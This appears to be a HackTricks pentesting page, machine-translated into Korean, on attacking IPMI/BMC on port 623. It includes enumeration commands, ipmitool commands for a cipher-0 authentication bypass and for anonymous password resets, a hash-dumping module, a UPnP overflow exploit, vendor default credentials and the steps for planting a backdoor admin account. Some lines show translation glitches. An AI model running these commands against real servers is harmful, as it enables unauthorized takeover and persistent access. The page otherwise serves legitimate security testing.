623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Support HackTricks

Basic Information

IPMI 개요

**Intelligent Platform Management Interface (IPMI)**는 운영 체제나 전원 상태와 관계없이 컴퓨터 시스템의 원격 관리 및 모니터링을 위한 표준화된 접근 방식을 제공합니다. 이 기술은 시스템 관리자가 시스템이 꺼져 있거나 응답하지 않을 때에도 원격으로 시스템을 관리할 수 있게 해주며, 특히 유용한 경우는 다음과 같습니다:

  • OS 부팅 전 구성

  • 전원 관리

  • 시스템 장애 복구

IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링할 수 있으며, 인벤토리 정보 제공, 하드웨어 로그 검토 및 SNMP를 통한 경고 전송 기능도 제공합니다. 작동에 필수적인 요소는 전원 공급 장치와 LAN 연결입니다.

1998년 Intel에 의해 도입된 이후, IPMI는 여러 공급업체에 의해 지원되어 원격 관리 기능을 향상시켰으며, 특히 2.0 버전의 LAN을 통한 직렬 지원이 추가되었습니다. 주요 구성 요소는 다음과 같습니다:

  • Baseboard Management Controller (BMC): IPMI 작업을 위한 주요 마이크로 컨트롤러.

  • 통신 버스 및 인터페이스: ICMB, IPMB 및 다양한 로컬 및 네트워크 연결을 위한 인터페이스를 포함한 내부 및 외부 통신을 위한 것.

  • IPMI 메모리: 로그 및 데이터를 저장하기 위한 것.

기본 포트: 623/UDP/TCP (보통 UDP에서 실행되지만 TCP에서도 실행될 수 있습니다)

Enumeration

Discovery

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

You can identify the version using: 당신은 다음을 사용하여 버전식별할 수 있습니다:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI 취약점

IPMI 2.0 영역에서 Dan Farmer에 의해 중요한 보안 결함이 발견되었으며, cipher type 0을 통해 취약점이 노출되었습니다. 이 취약점은 Dan Farmer의 연구에서 자세히 문서화되어 있으며, 유효한 사용자가 목표로 삼을 경우 제공된 비밀번호로 무단 접근을 가능하게 합니다. 이 약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되어 모든 IPMI 2.0 구현에서 광범위한 문제를 시사합니다.

Cipher 0을 통한 IPMI 인증 우회

이 결함을 탐지하기 위해 다음의 Metasploit 보조 스캐너를 사용할 수 있습니다:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

이 결함의 악용은 아래에示된 ipmitool을 사용하여 가능하며, 사용자 비밀번호의 나열 및 수정을 허용합니다:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP 인증 원격 비밀번호 해시 검색

이 취약점은 기존 사용자 이름에 대한 솔트가 추가된 해시 비밀번호(MD5 및 SHA1)를 검색할 수 있게 해줍니다. 이 취약점을 테스트하기 위해 Metasploit은 모듈을 제공합니다:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI 익명 인증

많은 BMC의 기본 구성은 null 사용자 이름 및 비밀번호 문자열로 특징지어지는 "익명" 액세스를 허용합니다. 이 구성은 ipmitool을 사용하여 명명된 사용자 계정의 비밀번호를 재설정하는 데 악용될 수 있습니다:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI 평문 비밀번호

IPMI 2.0의 중요한 설계 선택은 인증 목적으로 BMC 내에 평문 비밀번호를 저장해야 함을 요구합니다. Supermicro가 이러한 비밀번호를 /nv/PSBlock 또는 /nv/PSStore와 같은 위치에 저장하는 것은 심각한 보안 문제를 야기합니다:

cat /nv/PSBlock

Supermicro IPMI UPnP 취약점

Supermicro의 IPMI 펌웨어에 UPnP SSDP 리스너를 포함하는 것은 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. Rapid7의 공개에서 자세히 설명된 Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 BMC에 대한 루트 접근을 허용합니다:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP는 제조 중에 Integrated Lights Out (iLO) 제품의 기본 비밀번호를 무작위로 설정합니다. 이 관행은 정적 기본 자격 증명을 사용하는 다른 제조업체와 대조적입니다. 다양한 제품에 대한 기본 사용자 이름과 비밀번호 요약은 다음과 같습니다:

  • **HP Integrated Lights Out (iLO)**는 기본 비밀번호로 공장에서 무작위로 생성된 8자 문자열을 사용하여 더 높은 보안 수준을 보여줍니다.

  • Dell의 iDRAC, IBM의 IMM, 및 Fujitsu의 Integrated Remote Management Controller와 같은 제품은 각각 "calvin", "PASSW0RD" (0 포함), "admin"과 같은 쉽게 추측할 수 있는 비밀번호를 사용합니다.

  • 유사하게, Supermicro IPMI (2.0), Oracle/Sun ILOM, 및 ASUS iKVM BMC도 각각 "ADMIN", "changeme", "admin"과 같은 간단한 기본 자격 증명을 사용합니다.

Accessing the Host via BMC

Baseboard Management Controller (BMC)에 대한 관리 액세스는 호스트의 운영 체제에 접근할 수 있는 다양한 경로를 엽니다. 간단한 접근 방식은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 악용하는 것입니다. 이는 GRUB를 통해 루트 셸로 호스트를 재부팅하거나 가상 CD-ROM에서 복구 디스크로 부팅하여 수행할 수 있습니다. 이러한 방법은 호스트의 디스크를 직접 조작할 수 있게 하며, 백도어 삽입, 데이터 추출 또는 보안 평가를 위한 필요한 작업을 포함합니다. 그러나 이는 호스트를 재부팅해야 하므로 상당한 단점이 있습니다. 재부팅 없이 실행 중인 호스트에 접근하는 것은 더 복잡하며 호스트의 구성에 따라 다릅니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태라면 BMC의 KVM 또는 LAN을 통한 직렬 기능을 사용하여 쉽게 장악할 수 있습니다. i2c 버스 및 Super I/O 칩과 같은 공유 하드웨어 리소스의 악용을 탐색하는 것은 추가 조사가 필요한 영역입니다.

Introducing Backdoors into BMC from the Host

BMC가 장착된 호스트를 손상시키면, 로컬 BMC 인터페이스를 활용하여 백도어 사용자 계정을 삽입할 수 있습니다. 이는 서버에 지속적인 존재를 생성합니다. 이 공격은 손상된 호스트에 **ipmitool**이 존재하고 BMC 드라이버 지원이 활성화되어 있어야 합니다. 다음 명령은 인증 없이 호스트의 로컬 인터페이스를 사용하여 BMC에 새 사용자 계정을 주입하는 방법을 보여줍니다. 이 기술은 Linux, Windows, BSD, 심지어 DOS를 포함한 다양한 운영 체제에 적용 가능합니다.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

HackTricks 지원하기

Last updated